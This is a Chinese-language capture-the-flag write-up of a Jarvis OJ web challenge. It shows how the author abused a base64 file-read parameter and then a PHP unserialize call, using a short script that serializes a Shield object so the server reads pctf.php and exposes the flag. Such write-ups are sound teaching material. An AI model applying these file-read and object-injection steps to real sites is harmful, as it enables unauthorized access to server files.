神盾局的秘密
时间:2018年10月5日 汇报人:王祎洁
题目
http://web.jarvisoj.com:32768/
题解
打开网页,发现一张图片,查看页面源代码,发现图片是从showing.php中读取的,且img=base64编码
并将其读入
发现是图片编码
尝试读取已知showing.php文件
尝试读取index.php文件
查看页面源代码后,发现shield.php文件
读取shield.php文件,发现flag is in pctf.php
尝试读取pctf.php文件,发现不存在
重新审计index.php文件的页面源代码,与shield.php页面源代码
发现参数输入class以及反序列化函数,以及过滤
根据shield.php源代码,编写序列化脚本
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
$x = new Shield('pctf.php');
echo serialize($x);
?>
发在本地运行,得到class参数的赋值
地址栏输入后,查看页面源代码,发现flag
- PS:用本地跑pctf.php(序列化脚本),我用的是phpstudy,将写好的脚本放到phpstudy的www文件下,之后本地访问:127.0.0.1/pctf.php即可
- 另外,hackbar是个好东西?
- 关于序列化函数:serialize( )
https://www.w3cschool.cn/php/php-serialize_info.html